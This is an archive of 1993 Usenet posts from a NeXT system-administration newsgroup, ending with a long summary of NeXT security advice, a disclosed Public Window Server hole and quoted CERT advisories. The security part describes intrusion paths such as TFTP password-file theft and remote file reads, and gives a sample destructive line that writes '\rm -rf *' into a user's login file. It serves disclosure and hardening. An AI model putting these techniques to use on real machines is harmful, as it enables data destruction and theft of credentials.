> work, but will often abort with error messages of
> "Tape/disk read error: I/O error".
>
> Lewis Van Winkle
> Health Informatics
> Biomedical Information Communication Center
> Oregon Health Sciences University
> Portland, Oregon
> e-mail lvw@ohsu.edu
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From: ben@fizz.fdn.org (Benoit Grange)
Subject: Re: noise reduction: spinning down the hard disk
Message-ID: <1993Jan16.142059.5148@fizz.fdn.org>
Sender: ben@fizz.fdn.org (Benoit Grange)
References: <C0r38w.Mz4@news.cso.uiuc.edu>
Date: Sat, 16 Jan 1993 14:20:59 GMT
In article <C0r38w.Mz4@news.cso.uiuc.edu> kurrer@lisboa.ks.uiuc.edu
(Christian Kurrer) writes:
> Does anybody know whether it is possible to shut down a hard disk on a
> Next in a manner similar to the `power saving' mode on
portables/notebook
> computers?
>
On most SCSI disk, sending an OFFLINE command will shut it down.
*BUT*, then, any access to the disk will result in an I/O error.
Thus you need to unmount the disk before shutting it down, and vice-versa.
(I think the scsi driver should be able to detect from the mode sense that
the disk is off, and then start it, but I am not sure...)
I wrote a little program to try this, people interested shoud mail me to
ben@boson.epita.fr (where I have the source).
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From: mahesh@numenor.next.nd.edu (Mahesh "BigMan" Subramanya)
Subject: Help decreasing space used by netinfo
Message-ID: <1993Jan17.174740.29051@news.nd.edu>
Sender: news@news.nd.edu (USENET News System)
Organization: University of Notre Dame
Distribution: na
Date: Sun, 17 Jan 1993 17:47:40 GMT
I've got around 30 NeXTs here, each running 3.0, that are all standalone
boxes. As such, I load the master password file indivudally one each
computer. The password file has about 15,000 entries, and the
/etc/netinfo directory ends up occupying 17MB !!!
Under 2.1, the password file occupied only around 2MB.
What is going on?? Any ideas anyone? The NeXTs all have 100MB
drives, and space is critical. Also, for many reasons, using a
netinfo server is NOT an option
The user accounts all have an extra "info" field in netinfo space. Why?
And *what* is making the accounts take up virtually 1K per user in netinfo
space???
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From: scollins@lookout.it.uswc.uswest.com (Steven Collins)
Subject: NS3.0 upgrade problem; WindowServer can't fine port
Message-ID: <C0zJJq.AEE@da_vinci.it.uswc.uswest.com>
Sender: news@da_vinci.it.uswc.uswest.com (IT Netnews)
Organization: U S WEST Information Technologies
Distribution: usa
Date: Sun, 17 Jan 1993 06:33:25 GMT
After I upgraded to NS3.0, I rebooted the machine and
it made it past "Multi-user startup complete" and the cursor appears
but the WindowServer never appears.
I get the error:
loginwindow: could not find WindowServer port!
Any body have an idea what could be causing this?
My machine is a standalone upgraded 040 cube.
Any information would be appreciated!
Thanks, Steve
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: NeXT networking advice wanted...
Message-ID: <C10sB7.912@ux1.cso.uiuc.edu>
Keywords: n
Organization: University of Illinois at Urbana
References: <1993Jan14.212326.4472@julian.uwo.ca> <1993Jan15.085957.2082@seer.demon.co.uk> <1993Jan16.145103.23893@julian.uwo.ca>
Distribution: na
Date: Sun, 17 Jan 1993 22:40:04 GMT
lrb@alex.ctrg.rri.uwo.ca (Lance R. Bailey) writes:
>In article <1993Jan15.085957.2082@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes:
>>In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca
>>(Lance R. Bailey) writes:
>>> In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca>
>>> sherwood@space.ualberta.ca (System Administrator) writes:
>>> >
>>> >Don't do this. I don't know if they got rid of it in 3.0, but 2.x
>>> >machines won't boot with /NextLibrary on a non-local disk.
>>> >
>>> sorry, that's just plain wrong. all my 2.1 machines NFS mount the same
>>> /NextLibrary
>>
>>Machines won't boot unless certain parts of /NextLibrary/Fonts are
>>available at boot time. You can mount a full /NextLibrary over the
>>stripped down local version. So you are both wrong AND right.
>sorry, but there is NOTHING in my /NextLibrary at boot time. ie: /NextLibrary
>is a symlink pointing to a directory on a NFS mounted disk. i mount the
>partition from rc.local, the very last line in the script.
Just to clear things up a bit:
The NeXT WILL 'boot' without /NextLibrary/Fonts and /Keyboards (and
maybe /Sounds). But, the WindowServer will not start up correctly.
You will get the grey screen and no loginwindow that has caused many
a sysadmin to tear out half of their hair.
So, as long as the proper /NextLibrary is on /NextLibrary by the
time the windowserver starts up, things will be OK. The general
point is that if you want to be able to boot into the workspace in
case your server goes down, it is a very good idea to leave those 3
directories in /NextLibrary alone. They do not take up very much
disk space at all. As I posted in a previous article, get rid of
Documentation and References, you will save yourself some grief.
--
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University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
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From: lfahnoe@kegworks.mn.org (Larry Fahnoe)
Subject: Re: Always make backups
Message-ID: <1993Jan17.181405.756@kegworks.mn.org>
Organization: The Kegworks, Minneapolis, Minnesota
References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> <1993Jan15.223742.25495@cs.ucla.edu> <SCOTT.93Jan16003408@nic.gac.edu>
Distribution: usa
Date: Sun, 17 Jan 1993 18:14:05 GMT
In article <SCOTT.93Jan16003408@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes:
>In fact, this is where I really wish we could start _anyone_ who
>gets a computer. First you give them enough time to generate useful
>data and build some confidence, then you ask them to do something
>that they'll screw up, and tell them that that was the _only_ copy
>available ... until you've totally nuked that data, and felt the
>sinking stomach that accompanies that event, you simply don't listen
>to sage advice from those of us who _have_ lost everything that
>way. It's like telling a kid that they are going to get burnt when
>they're playing with fire - a mother just doesn't speak with the
>authority of a pair of singed eyebrows!
To my mind, moving from large systems to a box as innocent looking as
either the cube or slab encorages one to have a false sense of security.
Just because it happens to be a personal workstation doesn't change the
fact that it is running an OS that is chock full of gotchas for the
un-initiated. I would strongly recommend that any NeXT owner have copies
of the following:
1) NeXTSTEP Network and System Administration
NeXT Computer
Addison-Wesley, ISBN: 0-201-63254-3
2) UNIX System Administration Handbook
Nemeth, Snyder, Seebass
Prentice Hall, ISBN: 0-13-933441-6
3) Practical UNIX Security
Garfinkel, Spafford
O'Reilly & Associates, ISBN: 0-937175-72-2
You've already spent several thousand bucks for a heck of a system, why
not spend another ninety or so on books to help you manage it well?
--
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612/832-7616 7900 S. Xerxes Ave, Suite 301
lfahnoe@kegworks.mn.org Minneapolis, MN 55431
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: NS3.0 upgrade problem; WindowServer can't fine port
Message-ID: <C110Iq.81J@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <C0zJJq.AEE@da_vinci.it.uswc.uswest.com>
Distribution: usa
Date: Mon, 18 Jan 1993 01:37:38 GMT
In article <C0zJJq.AEE@da_vinci.it.uswc.uswest.com> scollins@lookout.it.uswc.uswest.com (Steven Collins) writes:
>
> After I upgraded to NS3.0, I rebooted the machine and
>it made it past "Multi-user startup complete" and the cursor appears
>but the WindowServer never appears.
>I get the error:
>loginwindow: could not find WindowServer port!
>Any body have an idea what could be causing this?
>My machine is a standalone upgraded 040 cube.
I've seent this happen in two different ways. One time the
UpgradePrep.app was corrupted. When I went back to 2.1 and did it
over again with a different floppy of UpgradePrep, then things went
okay.
The other time, I had to just mount the 3.0 CD-ROM manually in single
usr mode and cp usr/lib/NextStep from the cd onto my hard drive.
Sad but true...
-rob
---
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francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin
From: gfield@mordor.UVic.CA (Glen Field)
Subject: upgrade 2.0 to 3.0
Message-ID: <1993Jan18.020122.20268@sol.UVic.CA>
Sender: news@sol.UVic.CA
Organization: University of Victoria
Distribution: na
Date: Mon, 18 Jan 93 02:01:22 GMT
I am about to attempt to upgrade my NeXT from 2.0 to 3.0 . Changes I wish to
make prevent me from using the instructions in the manual provided with the
upgrade (Upgrading to NeXTStep Release 3). I would like to know if the
following procedure is a reasonable one.
First the current situation.
-> NeXTstation monochrome
-> 105 MB internal drive (sd0a, system files here)
-> 500 MB external drive (sd1a)
-> CD ROM player
-> currently on a network consisting mostly of Suns
I would like to install the 3.0 OS on the larger external drive and use the
internal as a swap disk. When finished the machine will be disconnected from
the network and used as a stand alone unit. Here is how I plan to proceed.
1) Level zero dump of both disks over network to an exabyte tape.
2) Boot from CD Rom and install 3.0 on the external drive as described
in the 3.0 Release Notes. Use the initialize mode when installing to
erase the disk before installation begins.
3) Reboot machine from external and install documentation and system
extensions.
4) Recover personal files and Apps from tape.
5) Wipe internal disk and set up as a swap device.
I can forsee one problem here. According to the "Network and System
Administration" manual the computer will boot using the device with the lowest
target number if there is more than one bootable device connected. This seems
to imply that its is necessary to swap the SCSI IDs of the internal and
external drives. Is this necessary? If so, how is this done? If I have to
change SCSI IDs anyway can I avoid usibg SCSI ID #1 since, as I recall, the
CDPlayer APP doesn't work properly if there is a SCSI device 1?
Any comments or suggestion greatly appreciated. Thank you.
Glen Field gfield@mordor.uvic.ca
From: szatrows@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.sysadmin
Subject: NUCA (Reminder)
Message-ID: <Jan.18.00.22.17.1993.6315@gandalf.rutgers.edu>
Date: 18 Jan 93 05:22:18 GMT
References: <1993Jan1.075155.3045@mouthers.nwnexus.wa.com> <1993Jan2.041442.10646@Happy-Man.com>
Organization: Rutgers Univ., New Brunswick, N.J.
N U C A---Reminder---Reminder---Reminder---Reminder---Reminder
NeXT Users' Choice Awards---Thanks to Conrad Geiger for the name!
I will take submissions from the net until _Jan 23,_1993_.
All you need to do is send back the form attached below with
your favorite software or hardware products for 1992.
The subject of the post should be Re: NUCA (or just replying
to this post). Send votes to szatrows@gandalf.rutgers.edu
I will post the results and maybe see about getting little
trophies or ribbons made up for the winners.
This is your chance to reward the great NeXT Developer
community by shining some well deserved praise their way.
The rules are:
- You can only vote once (i.e. one vote per e-mail address).
- You can vote for any product you wish; be it from NeXT, a 3rd
party developer, shareware/freeware (or those tasty frosted donuts
from Hostess under the 'other' category ;-)
Finally I made up a logo for the winners to use (if they want
to) to let everyone know that they won the NUCA. I'll put it up on
both orst and nova. People can let me know if they think it stinks
and if so please feel free to make your own (after all it is the
U S E R S ' choice award so the users should get involved!). BTW
you will need Helvetica-Black and Avant Garde (Book Oblique & Demi
Oblique) to see the logo in all of its glory :-)
NUCA Form below:
-----------------------------------------------------------------------
1.) Software
a.) Audio :
b.) Communications :
c.) DataBase :
d.) Developer :
e.) Desk Top Publishing:
f.) Game :
g.) Graphic :
h.) MultiMedia :
i.) Scientific :
j.) Spreadsheet :
k.) Wordprocessing :
l.) Utility :
m.) Video :
n.) Other :
2.) Overall Software Product of the Year :
3.) Hardware
a.) Audio :
b.) Communications :
c.) Display :
d.) Graphic Input :
e.) Mass Storage :
f.) Printing/Output :
g.) Video :
h.) Other :
4.) Overall Hardware Product of the Year :
5.) Overall Product of the Year :
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From: beksten@ucqais.cba.uc.edu (Brick Eksten)
Subject: Can't print as user (HELP!)
Message-ID: <47@ucqais.cba.uc.edu>
Summary: Can't print as user (Help!)
Keywords: help, printer
Sender: root@babbage.ece.uc.edu (Operator)
Organization: University of Cincinnati, College of Business
Distribution: US
Date: Thu, 14 Jan 1993 20:34:38 GMT
I recently installed 3.0, and discovered that I can't print from
any applications as a user, only as root. I can print from the
printmanager as a user, but every application reports no printer
chosen. Help?!
--
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EcoDev@cup.portal.com
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From: cgb@count0.cmhnet.org (Charles G. Bennett)
Subject: HELP! System ALWAYS does disk check
Message-ID: <1993Jan17.195642.393@count0.cmhnet.org>
Sender: cgb@count0.cmhnet.org
Organization: BenaTong
Date: Sun, 17 Jan 1993 19:56:42 GMT
One of my systems
(400 meg,nextstation 25Mhz running 3.0 20meg ram)
Has started ALWAYS doing a FULL check disk on power up.
running fsck in single user on the raw device does not
turn up ANYTHING and doing a reboot -q -n after the fsck
will work as long as I don't turn the power off...
If I power the system down and back on it WILL do a full disk check..
Any ideas?
Chuck
--
Chuck Bennett, BenaTong Consulting
Harem Security (UNIX Consulting :-) )
cgb@count0.cmhnet.org
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP! System ALWAYS does disk check
Date: 18 Jan 1993 17:15:18 GMT
Organization: The University of Maryland, College Park
Message-ID: <1jeoj6INNd8r@ni.umd.edu>
References: <1993Jan17.195642.393@count0.cmhnet.org>
In article <1993Jan17.195642.393@count0.cmhnet.org> cgb@count0.cmhnet.org writes:
>Has started ALWAYS doing a FULL check disk on power up.
>running fsck in single user on the raw device does not
>turn up ANYTHING and doing a reboot -q -n after the fsck
>will work as long as I don't turn the power off...
>
>If I power the system down and back on it WILL do a full disk check..
>
>Any ideas?
Sure. Don't shut down your system that way. By RTFM 'man reboot':
Options to reboot are:
-n Avoids the sync. It can be used if a disk or the pro-
cessor is on fire.
-q Reboots quickly and ungracefully, without shutting down
running processes first.
Note the "quickly and ungracefully" as well as "Avoids the sync".
Unless the file system is marked as being unmounted cleanly when the
system goes down, it will need to be fsck'ed to ensure that its in
good shape.
To shut the system down, just use "shutdown" or "halt" with no
options. It works for me.
Louis Mamakos
From: t68@nikhefh.nikhef.nl (Jos Vermaseren)
Newsgroups: comp.sys.next.sysadmin
Subject: Security of NeXTs, Summary, LONG
Message-ID: <2181@nikhefh.nikhef.nl>
Date: 18 Jan 93 15:42:35 GMT
Organization: Nikhef-H, Amsterdam (the Netherlands).
-Summary of remarks w.r.t. security of the NeXTs.
-My own commentary is marked with - in column 1.
-I got a number of replies for which I would like to thank the contributors.
-Most answers were in the style of
> No different than any other UNIX box.
-This is of course not the whole story.
-There were many general remarks:
as long as you take standard measures of changing the passwords on
default accounts and removing unnecessary ones, it's not too bad.
NFS can be used to crack security, as I don't think that NeXT
supports the nosuid option. (and anyway -- I once had to take root
on the second NeXT here by copying a setuid executable onto a shared
partition and running it -- so I know it can be done if trusted.)
--
Anthony J. Stuckey stuckey@mrcnext.cso.uiuc.edu
>From what I can see, NeXT security is as good as the competition.
All workstations in your list are UNIX based, so true system security
is only as good as the UNIX system manager sets it. (If you know how
to set a umask or chmod command on DECstation, the same will work
on the NeXT.) I used to run ULTRIX in the lab, now have some NeXTs, and
have helped another department get DECstations up. The UNIX/ULTRIX
security seems very similar on all systems. NeXT does have some
point-and-click security in its preferences category that I haven't
seen on DEC....
Good luck in your work.
================================================================================
Donald E. Rosenberger Internet: WYJTGWA@GROVE.IUP.EDU
Well, the NeXT is relatively secure. Probably as much so if not more
than Sun's or HP's. For instance, the NetInfo databases are much
harder to access than in the standard BSD OS's.
Cheers
--
Alec Peterson
e-mail: chuckie@choate.edu
Our security-minded people here at Texas A&M have done a very thorough job of
evaluating the security of the thousands of computers we have on the net
(everything from PCs to NeXTs to a Cray), and have identified a number of
loopholes and potential weaknesses. They have written a script to "inspect"
a machine and report its vulnerabilities. At present the script is only for
BSD UNIX, but they are in the process of producing versions for System V UNIX,
NeXT, etc.
As the resident NeXTpert, I reviewed the points relevant to NeXT and was more
or less pleasantly surprised to see that about 95% are simply BSD UNIX
weaknesses. When Texas A&M's "Tiger Script" is available for the NeXT I will
post an announcement to the net, but for the time being I would recommend
just plugging the standard BSD UNIX holes on your NeXTs.
Regards,
Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu
Texas A & M University uucp: uunet!cs.tamu.edu!daugher
College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
---Not an official document of Texas A&M---
-By now there has been a discussion about the hole in security that is formed
-by the public window server:
-------------------------------------------------------------------------
Date: Fri, 3 Jul 92 00:52:57 PDT
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
To: next-managers@stolaf.edu
Subject: Security Implications of Setting the Public Window Server
Security Implications of Setting the Public Window Server
Here's the summary of what I have found out by experimentation
with the Public Window Server switch. In the process, I have found
that many NeXTs on the Internet are totally exposed.
If you are a system administrator, you might want to try to close the
security hole as outlined below, until NeXT does something about it.
If you have not warned your users about it, I would bet that about
10-20% of your users have enabled it, despite what an alert panel
warns when they did it.
I have reported it to "bug_next" and CERT. It appears that Release
3.0 will not contain anything that would make it a bit more secure,
judging from reports from 3.0 pre-release users. The CERT people
have been nice, but they seem to be waiting for NeXT to take some
action, which I don't know if it will happen. I have not gotten any
response from NeXT, other than automatic acknowledgements of receipt.
I am posting this info so more people will demand that NeXT does
something about it in Release 3.0.
We know that Preferences app gives the following warning when you
attempt to set the Public Window Server switch under
"Unix Expert Preferences":
"Setting the Public Window Server switch will
compromise the security of your files and your
account. Do you still want to set this switch?"
In practical terms, what does this mean?
** What Intruders Can Do to a Machine with Public Window Server Enabled:
[1] They can read your mail in ~/Mailboxes/Active.mbox/mbox.
The intruder will still have to know what your home directory is,
but that is easy to get if the sysadmin has installed a fixed
fingerd. Even if fingerd has not been replaced, /Users/loginname
would be a good guess. [Perhaps, NeXT intentionally broke fingerd
because of this?] Your private files, even those no other
legitimate users on your system can read, become readable by
anyone with a NeXT on the Internet.
[2] They can read any file the user at the console can read.
This means, on most NeXTs, they can read system configuration files
in /usr/adm, or /etc directories. They might be interested in:
/etc/exports
/etc/crontab.local
/etc/mtab
/etc/xtab
/etc/rc.local
/usr/adm/messages
/usr/adm/daily
If you have dumped NetInfo data into traditional flat files, then
the following files contain interesting information.
/etc/passwd
/etc/group
/etc/hosts
/etc/hosts.equiv
[3] They can write to any file the user at the console can write to.
This means that they can wipe out most of the files the user owns.
Can you imagine the intruder writing to ~/.login file a line like:
"\rm -rf *" ?
All these things are very easy to do. You need to throw mere 3 lines
of PostScript code at the WindowServer of the target machine. It's all
documented.
** What You Can Do About It For Now:
[1] Comment out the following line in /etc/inetd.conf,
and do "kill -HUP <pid_of_inetd>"
NSWS stream tcp wait root /usr/lib/NextStep/NSWSd NSWSd
NSWSd is for letting non-NeXT clients talk to the WindowServer
for opening windows on NeXT. NeXT's -NXHost mechanism does not
use this, and currently there is nothing I know of that uses NSWSd.
[2] Run a cron job every night (e.g., in /usr/adm/daily) which does:
su userlogin -c 'dwrite System PublicWindowServer No'
for all users on the system.
[3] Ask/demand NeXT that they do something about it, if you use -NXHost
feature at all. Ask for finer-grain access control for the
NXHost feature -- ability to refuse connections to the
WindowServer from outside the subnet with provisions for
allowing it for specific users and hosts outside.
[4] Warn your users not to use -NXHost feature if possible.
If they must use it, tell them that they should:
(a) not advertise the fact that they are using it.
(b) turn off the Public Window Server switch after use.
--
Izumi Ohzawa
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXT Mail OK)
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Date: Tue, 29 Dec 92 18:14:21 -0800
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
To: next-managers@stolaf.edu
Subject: Re: Security Implications of Setting the Public Window Server
Reply-To: izumi@pinoko.berkeley.edu
On July 3, 1992, I posted a note titled:
"Security Implications of Setting the Public Window Server" to this list.
Someone recently asked me about it, which prompted me to test
out my old test programs written for 2.1 on 3.0. They all work fine
on 3.0 with minor modifications (which is not good).
Basically, everything I said about PublicWindowServer security problems
are still valid for 3.0.
There is a new switch "Display EPS Security" in 3.0 Preferences.
This switch is irrelevant for the security hole I talked about.
That switch merely prevents EPS files embedded in documents such
as NeXTmail and *.rftd files from doing something bad. There was
a famous NewsGrazer posting which will temporarily "melt" your
Workspace appearance. The new switch will prevent programs such
as "melt.ps" from doing nasty things. It won't solve the problem
of indiscriminate remote access to your WindowServer/DPS from
anywhere on the Internet.
I would be happy to mail my 2 test programs to qualified NeXT managers,
if you think you can nudge/force NeXT to do something
about it, e.g., fine-grain access control for NXHost feature.
One reads a remote file given the hostname and full pathname of the
file. The other writes a warning message to /tmp/console.log of
a remote host.
Anybody buying a few hundread machines or has ears of key NeXT people?
Happy New Year.
---
Izumi Ohzawa
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXT Mail OK)
-The following seems up to now the best solution:
You can disable it completely. Under NeXTstep 2.x, just go into the .nib
file for the Expert Preferences field and remove the buttons. Under 3.0,
niutil -createprop / / security_options discourage_public_servers.
Then, for the piece de resistance, put the following into your Login Hook
code:
su $1 -c 'dwrite System PublicWindowServer NO'
(might want to get the PublicSoundSever there too, which will completely
disable it as that won't take effect until you log out and back in)
so whenever they log in it gets turned off (if they do a dwrite they can
make it so that it'll be enabled next time they log in, but if the loginhook
turns it back off again...).
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
-There are other very disturbing things:
The next is as secure as any unix workstation can be. There are a couple of
things to watch out for. The NeXT is shipped with the intention of it being a
personal workstation (almost like for home use) with a few strange things.
First, the root directory is 1777 which will allow anyone to write to the root
directory
Second, The default permissions for users NeXT mail is 755 which will allow
anyone to read your mail.
These are easily fixed and not really a big problem. Every once in a while you
will here of someone finding a backdoor but overall the NeXT is fairly secure.
Kevin Solie
Director of Development: benchMark Developments, Inc.
NeXT Value Added Reseller
kevins@ms.uky.edu
kevins@inslab.uky.edu (NeXT Mail)
-I am not so sure about this one. I tried to write to root from a user account
-in my 2.1 station and it did not work. Maybe this is a 3.0 feature?
-By far the most detailed mail came from saieva@alehouse.acc.qc.edu:
[I don't have much experience with other Unix systems but I can say
some things about security on NeXT machines.] Out of the box a NeXT
is a security problem waiting to happen, although it can be made to
be very secure. I would suggest you read (carefully) the chapter on
security in the NeXT Network and System Administration book (it is
online in Digital Librarian); read the online version which will be
the latest. You will probably want to enable all the precautionary
measures advised in this chapter. (The trusted_networks Netinfo
property is very important for NeXT machines on the Internet.)
The NeXT also has a feature called Public Window Server which is
en/disabled from the Preferences application. If enabled, the Public
Window Server is a gaping security whole. Make sure this is disabled.
Also, here are some things I do to NeXT systems when I unpack them:
1. chmod g-w,o-w / (since the root filesystem is writeable by
everyone).
2. chmod o-rxw /usr/bin/{copy,paste} (since anyone can use these
commands to modify the pasteboard of the current console user, the
NeXT pasteboard server does no authentication, you might even want to
remove these commands).
3. Comment out the line:
exec stream tcp nowait root /usr/etc/rexecd rexecd
from /etc/inetd.conf to disable remote commands, don't do this if you
want to use rsh, rcp, etc.
4. Immediately set passwords on the root and me accounts, you might
want to delete the me account.
5. Remove /etc/hosts.equiv.
6. chmod o-rwx /usr/bin/{nidump,niload,niutil} (so that users won't
fiddle, although they can bring these programs over from another
system, at least it doesn't make it easy for them).
7. chmod o-rwx /NextAdmin (so users without permission don't run
these Admin apps, again, so they don't fiddle).
8. chmod o-rwx /{.cshrc,.NeXT,.hidden,.login,.profile,Mailboxes}
(these files belong to the root user anyway).
9. Remove the _writers property from each Netinfo domain (this should
be in the NeXT Admin manual).
I can't think of anything else I might do but I might be missing
something. In general, search thru the filesystem and look for
problems with permissions and ownership. I feel my systems are pretty
tight now, I'm running a cluster of seven machines.
I would love to see a summary of responses since I'm constantly
looking to improve security on my cluster.
Sal.
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Salvatore Saieva, Unix Systems Administrator
Queens College
Academic Computer Center Internet: saieva@alehouse.acc.qc.edu
65-30 Kissena Blvd. BITNET: saieva@qcvaxa.bitnet
Flushing, N.Y. 11367 DeskNet: (718) 997-5907
-Some genral advice:
The NeXT is a UNIX system as is Sun and the rest. The same
security measures you would take on a Sun apply to a
NeXT... like commenting out services in
/etc/inetd.conf you don't plan to use.
The NeXT as shipped assumes a more open environment.
Anyone interested in security should follow every
recommendation in the security section of the NeXT
documentation to close up some of those
vulnerabilities. In addition, you should get and
implement the security advisories from CERT that
pertain to the NeXT from ftp.cert.org in
pub/advisories. The latter applies to any UNIX system.
In fact, you will note that there are many CERT advisories
issued about security holes in Sun and DEC systems. There
are only one or two issued about the NeXT. Keep in mind that
some of the CERT advisories affect all UNIX systems, like
the advisory on rdist security vulnerability.
Barbara J. Dyker L a b y r i n t h
=====================================================================
Senior Operations Consultant Computer Services
Barb.Dyker@Labyrinth.COM PO Box 4626
(303)589-2327 Boulder, CO 80306
-I have looked up the relevant CERT advisories. Some are valid for
-version 1.x and therefore I'll ignore them (if you want to know,
-you can pick them up), because by now there will be very few systems
-that are still running those versions of NeXTstep.
-A number of the old guidelines are still valid:
We've had reports of intruders attempting to exploit the following
areas:
1) Use TFTP (Trivial File Transfer Protocol) to steal password files.
To test your system for this vulnerability, connect to your system
using TFTP and try 'get /etc/motd'. If you can do this, anyone else
can get your password file as well. To avoid this problem, disable
tftpd.
In conjunction with this, encourage your users to choose passwords
that are difficult to guess (e.g. words that are not contained in any
dictionary of words of any language; no proper nouns, including names
of "famous" real or imaginary characters; no acronyms that are common
to computer professionals; no simple variations of first or last
names, etc.) Furthermore, inform your users not to leave any clear
text username/password information in files on any system.
If an intruder can get a password file, he/she will usually take it
to another machine and run password guessing programs on it. These
programs involve large dictionary searches and run quickly even on slow
machines. The experience of many sites is that most systems that do
not put any controls on the types of passwords used probably have at
least one password that can be guessed.
2) Exploit accounts without passwords or known passwords (accounts
with vendor supplied default passwords are favorites). Also uses
finger to get account names and then tries simple passwords.
Scan your password file for extra UID 0 accounts, accounts with no
password, or new entries in the password file. Always change vendor
supplied default passwords when you install new system software.
3) Exploit holes in sendmail.
Make sure you are running the latest sendmail from your vendor.
BSD 5.61 fixes all known holes that the intruder is using.
4) Exploit bugs in old versions of FTP; exploit mis-configured
anonymous FTP
Make sure you are running the most recent version of FTP which is
the Berkeley version 4.163 of Nov. 8 1988. Check with your vendor
for information on configuration upgrades. Also check
your anonymous FTP configuration. It is important to follow the
instructions provided with the operating system to properly configure
the files available through anonymous ftp (e.g., file permissions,
ownership, group, etc.). Note especially that you should not use your
system's standard password file as the password file for FTP.
5) Exploit the fingerd hole used by the Morris Internet worm.
Make sure you're running a recent version of finger. Numerous
Berkeley BSD derived versions of UNIX were vulnerable.
Some other things to check for:
6) Check user's .rhosts files and the /etc/hosts.equiv files for systems
outside your domain. Make sure all hosts in these files are
authorized and that the files are not world-writable.
7) Examine all the files that are run by cron and at. We've seen
intruders leave back doors in files run from cron or submitted to at.
These techniques can let the intruder back on the system even after
you've kicked him/her off. Also, verify that all files/programs
referenced (directly or indirectly) by the cron and at jobs, and the
job files themselves, are not world-writable.
8) If your machine supports uucp, check the L.cmds file to see if
they've added extra commands and that it is owned by root (not by uucp!)
and world-readable. Also, the L.sys file should not be world-readable
or world-writable.
9) Examine the /usr/lib/aliases (mail alias) file for unauthorized
entries. Some alias files include an alias named 'uudecode'; if this
alias exists on your system, and you are not explicitly using it, then
it should be removed.
10) Look for hidden files (files that start with a period and are
normally not shown by ls) with odd names and/or setuid capabilities,
as these can be used to "hide" information or privileged (setuid root)
programs, including /bin/sh. Names such as '.. ' (dot dot space
space), '...', and .xx have been used, as have ordinary looking names
such as '.mail'. Places to look include especially /tmp, /usr/tmp,
and hidden directories (frequently within users' home directories).
11) Check the integrity of critical system programs such as su, login,
and telnet. Use a known, good copy of the program, such as the
original distribution media and compare it with the program you are
running.
12) Older versions of systems often have security vulnerabilities that
are well known to intruders. One of the best defenses against
problems is to upgrade to the latest version of your vendor's system.
-The following is the '1991 posting'
CA-91:06 CERT Advisory
May 14, 1991
NeXT rexd, /private/etc, Username me Vulnerabilities
---------------------------------------------------------------------------
The Computer Emergency Response Team/Coordination Center (CERT/CC) and
NeXT Computer, Inc. have received information concerning three
vulnerabilities in NeXT computers running various releases (see below)
of NeXTstep software. For more information, please contact your
authorized support center. If you are an authorized support provider,
please contact NeXT through your normal channels.
---------------------------------------------------------------------------
Problem 1 DESCRIPTION: By default, rexd(8C) is enabled in NeXTstep
versions 2.0 and 2.1. (Note that no NeXT software uses rexd.)
Problem 1 IMPACT: Leaving rexd enabled allows remote users to execute
processes on a NeXT computer.
Problem 1 SOLUTION: Comment out or remove the rexd line in
/etc/inetd.conf (unless you're using the remote execution facility),
and either restart the computer or cause inetd to re-read it's
configuration file, using:
kill -HUP <inetd pid>
Problem 2 DESCRIPTION: The /private/etc directory is shipped with
group write permission enabled in all NeXTstep versions through and
including 2.1.
Problem 2 IMPACT: Group write permission in /private/etc enables any
user in the "wheel" group to modify files in the /private/etc
directory.
Problem 2 SOLUTION: Turn off group write permission for the
/private/etc directory, using the command:
chmod g-w /private/etc
or the equivalent operations from the Workspace Manager's Inspector
panel.
Problem 3 DESCRIPTION: Username "me" is a member of the "wheel" group
in all NeXTstep versions through and including 2.1.
Problem 3 IMPACT: Having username "me" in the "wheel" group enables
"me" to use the su(8) command to become root (the user must still know
the root password, however).
Problem 3 SOLUTION: Unless you have specific reason(s) not to, remove
the user "me" from the wheel group.
---------------------------------------------------------------------------
The CERT/CC would like to thank NeXT Computer, Inc. for their response
to this vulnerability. CERT/CC would also like to thank Fuat Baran
for his technical assistance.
---------------------------------------------------------------------------
-The most recent one is:
---------------------------------------------------------------------------
The Computer Emergency Response Team/Coordination Center (CERT/CC)
has received information concerning a vulnerability in release 2 of
NeXTstep's NetInfo default configuration. This vulnerability will
be corrected in future versions of NeXTstep.
---------------------------------------------------------------------------
I. Description
By default, a NetInfo server process will provide information to
any machine that requests it.
II. Impact
Remote users can gain unauthorized access to the network's
administrative information such as the passwd file.
III. Solution
Ensure that the trusted_networks property of each NetInfo domain's
root NetInfo directory is set correctly, so that only those systems
which should be obtaining information from NetInfo are granted
access. The value for the trusted_networks property should be the
network numbers of the networks the server should trust.
Note that improperly setting trusted_networks can render your
network unusable.
Consult Chapter 16, "Security", of the "NeXT Network and System
Administration" manual for release 2 for details on setting the
trusted_networks property of the root NetInfo directory.
---------------------------------------------------------------------------
The CERT/CC wishes to thank NeXT Computer, Inc. for their cooperation in
documenting and publicizing this security vulnerability.
---------------------------------------------------------------------------
-I do not know whether the fact that there is far less about NeXT than about
-SUN reflects the level of security or the number of users.
-The following is a general UNIX problem.
===========================================================================
CA-91:20 CERT Advisory
October 22, 1991
/usr/ucb/rdist Vulnerability
---------------------------------------------------------------------------
